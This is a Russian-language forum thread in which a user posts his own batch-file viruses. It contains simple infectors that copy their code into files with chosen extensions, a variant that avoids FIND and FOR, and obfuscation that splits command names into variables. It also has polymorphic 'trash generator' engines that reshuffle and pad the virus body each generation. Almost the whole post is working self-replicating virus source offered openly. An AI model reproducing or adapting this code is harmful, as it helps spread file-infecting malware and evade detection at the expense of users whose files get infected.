Vx Batch Lab

Тема в разделе "Batch (CMD/BAT)", создана пользователем Drustam, 18 сен 2024.

  1. Drustam

    Drustam New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2024
    Сообщения:
    2
    Здравствуйте. Тут хотелось бы выложить свои поделки на batch. Вирусы, вирусные движки. Обфускация и маскировка кода. Различные методы мутации кода (полиморфизм и тп.)

    Простой вирус.
    Код (Text):
    1.  
    2.  
    3. @ECHO OFF&FIND "M_"<%0>A
    4. %M_%ECHO GOTO Y_>>A&ECHO GOTO N_>T&ECHO :Y_>>T
    5. FOR %%B IN (*.BOO) DO CALL :M_ %%B
    6. :M_
    7. @FIND "M_"<%1
    8. %M_%IF NOT ERRORLEVEL 1 GOTO :BY
    9. %M_%TYPE %1>>T&ECHO.^&EXIT>>T&ECHO.:N_>>T
    10. COPY T+A %1
    11. :BY DR RUSTAM_   HELLO ALL!!!
    12.  
    13.  
    Вирус не использует Find для заражения.
    Код (Text):
    1.  
    2. :[ DR RUSTAM NO FIND INFECT VIRUS ]
    3. MORE +2 "%0">OK
    4. @FOR %%R IN (*.BBB) DO CALL :INF %%R
    5. DEL OK&GOTO :EOF
    6. :INF
    7. SET /P IM=<%1
    8. IF "%IM%"=="CALL :TTT" GOTO :EOF
    9. @FOR /F "TOKENS=1" %%A IN (%1) DO (
    10. SET STR=%%A
    11. CALL :NOFL
    12. )
    13. ECHO.CALL :TTT>YN
    14. TYPE %1>>YN
    15. ECHO.>>YN&ECHO.EXIT>>YN
    16. ECHO.:TTT>>YN
    17. SET /A SF=%SN%+4
    18. ECHO MORE +%SF% "%%0"^>OK>>YN
    19. TYPE OK>>YN
    20. MOVE YN %1
    21. :NOFL
    22. SET /A SN=%SN%+1
    23. GOTO :EOF
    24.  
    Вирус не использует For. Прием обфускации.
    Код (Text):
    1.  
    2. :DR_NOF
    3. @ECHO %NOF-%OFF>NUL&SET W="%0"
    4. CALL :_NOF FI TY GO HO MO EL SE IR BB
    5. GOTO ENOF
    6. :_NOF
    7. %7T NOF#=0
    8. D%8 %CD%\*.B%9 /B /A>~.NOF
    9. EC%4/END>>~.NOF
    10. :NOF_
    11. %1ND "NOF"<%W%>$.NOF
    12. %5RE +%NOF#% ~.NOF>-.NOF
    13. %7T /P NOF$=<-.NOF
    14. IF %NOF$%'==END' %3TO ENOF
    15. %7T /P PI=<%NOF$%
    16. %7T /A NOF#=%NOF#%+1
    17. IF -%PI%==-:DR_NOF %3TO NOF_
    18. %2PE %NOF$%>>$.NOF
    19. %5VE $.NOF %NOF$%>NUL
    20. %3TO NOF_
    21. :ENOF
    22. D%6 ?.NOF
    23.  
    --- Сообщение объединено, 18 сен 2024 ---
    Простой вирус DR2V. Пример обфускации.
    Код (Text):
    1.  
    2. @ECHO %DR2V% OFF>NUL&SET W="%0"
    3. CALL :DR2VV FO BB SE I D
    4. EXIT %DR2V%
    5. :DR2VV
    6. %1R %%W %4N (*.%2T) %5O %3T DR2VX="%%W"&CALL :DR2V %DR2VX% IND DR2V
    7. GOTO :EOF %DR2V%
    8. :DR2V
    9. F%2 "%3" <%DR2VX%>NUL
    10. ECHO.%DR2V%>>%DR2VX%
    11. IF ERRORLEVEL 1 F%2 "%3" <%W%>>%DR2VX%
    12.  
    Код (Text):
    1.  
    2.  
    3. --------------------[Dr Rustam mutant Batch ]-------------------
    4.  
    5. -----------------------------------%<---------------------------------------------------
    6.  
    7. %Drmb1%SET Y=%0
    8. :lol:rmb1
    9. %Drmb1%ECHO [USER CODE - 1]
    10. GOTO Drmb%Drmb1%2
    11. :lol:rmb2
    12. %Drmb2%ECHO [USER CODE - 2]
    13. GOTO Drmb%Drmb2%3
    14. :lol:rmb3
    15. %Drmb3%ECHO [USER CODE - 3]
    16. GOTO Drmb%Drmb3%4
    17. :lol:rmb4
    18. %Drmb4%ECHO [USER CODE - 4]
    19. GOTO Drmb%Drmb4%5
    20. :lol:rmb5
    21. %Drmb5%ECHO [USER CODE - 5]
    22. GOTO Drmb%Drmb5%6
    23. :lol:rmb6
    24. %Drmb6%ECHO [USER CODE - 6]
    25. GOTO Drmb%Drmb6%7
    26. :lol:rmb7
    27. %Drmb7%ECHO [USER CODE - 7]
    28. GOTO Drmb%Drmb7%8
    29. :lol:rmb8
    30. %Drmb8%ECHO [USER CODE - 8]
    31. GOTO Drmb%Drmb8%9
    32. :lol:rmb9
    33. %Drmb9%SET /A R=1+(9-1+1) * %RANDOM%/32768
    34. %Drmb9%FOR %%T IN (
    35. %A%;%B%;%C%;%D%;%E%;%F%;%G%;%H%;%I% %Drmb9%
    36. )DO IF %R%==%%T GOTO Drmb9
    37. %Drmb9%SET O=_ABCDEFGHI
    38. %Drmb9%SET /A T=%T%+1
    39. %Drmb9%CALL SET %%O:~%T%,1%%=%R%
    40. %Drmb9%CALL :lol:rmbX %R%
    41. IF NOT %T%==9 GOTO Drmb9
    42. EXIT %Drmb9%
    43. :lol:rmbX Drmb9
    44. FIND "Drmb%1"<%Y%>>POLY %Drmb9%
    45. GOTO :EOF %Drmb9%
    46.  
    47. ----------------------------%<------------------------------------------
    48.  
    49.  
    Вирус изменяет свое тело в каждом покалении.

    Код (Text):
    1.  
    2.                         | <DRPB 1 VIRUS -P> |
    3.                          
    4.  
    5. %Z6%@EC%Z6%HO %Z6%OFF%Z6%&@S%Z6%ET Y=EC%Z6%HO%Z6%
    6. %Z6%@FI%Z6%ND "Z6"<""%0"">Z6_
    7. %Z6%@F%Z6%OR /F "TOKENS=* DELIMS=," %%N IN (Z6_) DO (
    8. %Z6%S%Z6%ET LI=%%N
    9. %Z6%CM%Z6%D /V /C %Y% !LI:Z6=$%RANDOM%!>>Z6
    10. %Z6%)
    11. %Z6%MO%Z6%VE Z6 Z6_
    12. %Z6%F%Z6%O%Z6%R %%Q IN (*.BOO) DO C%Z6%AL%Z6%L :Z6 "%%Q"
    13. %Z6%D%Z6%el Z6_&EXIT%Z6%%Z6%
    14. :Z6
    15. %Z6%F%Z6%I%Z6%N%Z6%D "Zx6"<%1>NUL%Z6%%Z6%
    16. %Z6%%Z6%IF ERRORLEVEL 1 T%Z6%Y%Z6%P%Z6%E Z6_>>%1
    17.  
    18.  
    --- Сообщение объединено, 18 сен 2024 ---
    Различные мутирующие движки.


    Код (Text):
    1.  
    2.  
    3. =================[ trash gen ]==================
    4.  
    5. %ZZB%@ECHO OFF&SET I=%0&SET Y=B;O;K;Y;N;M;H;V;D;S;X;R;U;G;A;L
    6. %ZZO%@FOR %%_ IN (%Y%) DO CALL :ZZO %%_ %RANDOM%%RANDOM%
    7. :ZZO
    8. %ZZY%IF %1_==_ (GOTO ZZ%D%D) ELSE (
    9. %ZZM%@ECHO:^::%2%2%2%2%2%2>>ZZ
    10. %ZZM%@FIND "ZZ%1"<%I%>>ZZ
    11. )%ZZM%&EXIT /B
    12. :ZZD
    13. %ZZS%@FOR %%B IN (*.BOO *.COO) DO CALL :SZZ "%%B"
    14. %ZZX%GOTO EZZ
    15. :SZZ %ZZR%
    16. %ZZU%@FIND "ZZ"<%1>NUL
    17. %ZZG%IF ERRORLEVEL 1 type ZZ>>%1
    18. :EZZ %ZZL%
    19. %ZZL% DEL ZZ %ZZL%
    20.  
    21.  

    Код (Text):
    1.  
    2.  
    3. -==---=-=-=--=-=-=-=-=-=-=-=--[V 1a - TRASH ADD ]---====---=-=-=-=-=--===-==-=-==-===-==-==--=-
    4.  
    5. %ZZA%@ECHO OFF & SET V=""%0""
    6. %ZZA% GOTO P_1
    7. :P_1 %ZZX%
    8. %ZZX% CALL :P_6
    9. %ZZX% ::-------SET ENCRYPT ADD--------
    10. %ZZX% %E% P_2
    11. :P_2 %ZZC%
    12. %ZZC% ::-------USERCODE--------
    13. %ZZC% %E% P_3
    14. :P_3 %ZZV%
    15. %ZZV% ::-------USERCODE--------
    16. %ZZV% %E% P_4
    17. :P_4 %ZZB%
    18. %ZZB% ::-------USERCODE--------
    19. %ZZB% %C%.:%R%%Z%%Z%0%Z%8%R%3%Z%1%Z%>_
    20. %ZZB% %D% "ZZ%A%A"<%V%>>_
    21. %ZZB% %E% P_5
    22. :P_5 %ZZQ%
    23. %ZZQ%    IF %R%==1 %F% %%_ IN (C U B X Q V) DO %C%.CLS %Z%12%Z%%Z%%R%4%Z%2%R%0%Z%%R%>>_&%D% "ZZ%%_" <%V%>>_
    24. %ZZQ%    IF %R%==2 %F% %%_ IN (U B X Q V C) DO %C%.CALL_ 05%Z%%R%%Z%%Z%%Z%0%R%%Z%5%R%>>_&%D% "ZZ%%_" <%V%>>_
    25. %ZZQ%    IF %R%==3 %F% %%_ IN (B X Q V C U) DO %C%.:%Z%%Z%%Z%%Z%%R%%Z%%Z%01%Z%%R%%Z%>>_&%D% "ZZ%%_" <%V%>>_
    26. %ZZQ%    IF %R%==4 %F% %%_ IN (X Q V C U B) DO %C%.SET %Z%8%R%%R%3%Z%%Z%%Z%%Z%%Z%%Z%>>_&%D% "ZZ%%_" <%V%>>_
    27. %ZZQ%    IF %R%==5 %F% %%_ IN (Q V C U B X) DO %C%.%C% %R%%Z%%Z%9%Z%%Z%%R%%R%%Z%5%Z%>>_&%D% "ZZ%%_" <%V%>>_
    28. %ZZQ%    IF %R%==6 %F% %%_ IN (V C U B X Q) DO %C%.EXIT /B %R%%R%%Z%%R%%Z%%Z%%Z%8%Z%>>_&%D% "ZZ%%_" <%V%>>_
    29. %ZZQ% EXIT
    30. :P_6 %ZZU%
    31. %ZZU%SET C=ECHO
    32. %ZZU%SET /A R=1+(6-1+1) * %RANDOM%/32768
    33. %ZZU%SET F=FOR
    34. %ZZU%SET Z=%R%%R%%RANDOM%%R%%R%%RANDOM%%R%%RANDOM%%R%
    35. %ZZU%SET E=GOTO
    36. %ZZU%SET D=FIND
    37. %ZZU% %E% :EOF
    38.  
    39. -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-[ V 1b ]=-=-=-=-=-==-=-=---=-=-=-=-=---=-=-=-=-=-==
    40.  
    41. :P_1 %ZZX%
    42. %ZZX% SET V=""%0""
    43. %ZZX% SET AX=ET
    44. %ZZX% CALL :P_6
    45. %ZZX% GOTO P_2
    46. :P_2 %ZZC%
    47. %ZZC% S%AX% SX=OT
    48. %ZZC% G%SX%O P_3
    49. :P_3 %ZZV%
    50. %ZZV% S%AX% DX=YP
    51. %ZZV% G%SX%O P_4
    52. :P_4 %ZZQ%
    53. %ZZQ%    IF %X0%==1 S%AX% CV=C U B X Q V
    54. %ZZQ%    IF %X0%==2 S%AX% CV=U B X Q V C
    55. %ZZQ%    IF %X0%==3 S%AX% CV=B X Q V C U
    56. %ZZQ%    IF %X0%==4 S%AX% CV=X Q V C U B
    57. %ZZQ%    IF %X0%==5 S%AX% CV=Q V C U B X
    58. %ZZQ%    IF %X0%==6 S%AX% CV=V C U B X Q
    59. %ZZQ%    CALL :P_5
    60. %ZZQ%     EXIT
    61. :P_5 %ZZB%
    62. %ZZB% ECHO.GOTO P_1>_
    63. %ZZB% F%F% %%_ IN (%CV%) DO (
    64. %ZZB% F%D% "ZZ%%_" <%V%>>_
    65. %ZZB% )
    66. %ZZB% G%SX%O :EOF
    67. :P_6 %ZZU%
    68. %ZZU%    SET /A X0=1+(6-1+1) * %RANDOM%/32768
    69. %ZZU%    S%AX% F=OR
    70. %ZZU%    S%AX% D=IND
    71. %ZZU%     G%SX%O :EOF
    72. ====-----====-=-=-=========--------=====-=-=-=======-=-====-=-=-=-=-==-=-=-=-
    73.  
    74.  

    --- Сообщение объединено, 18 сен 2024 ---
    Archive
     

    Вложения:

    Последнее редактирование: 18 сен 2024
    SilverStorm нравится это.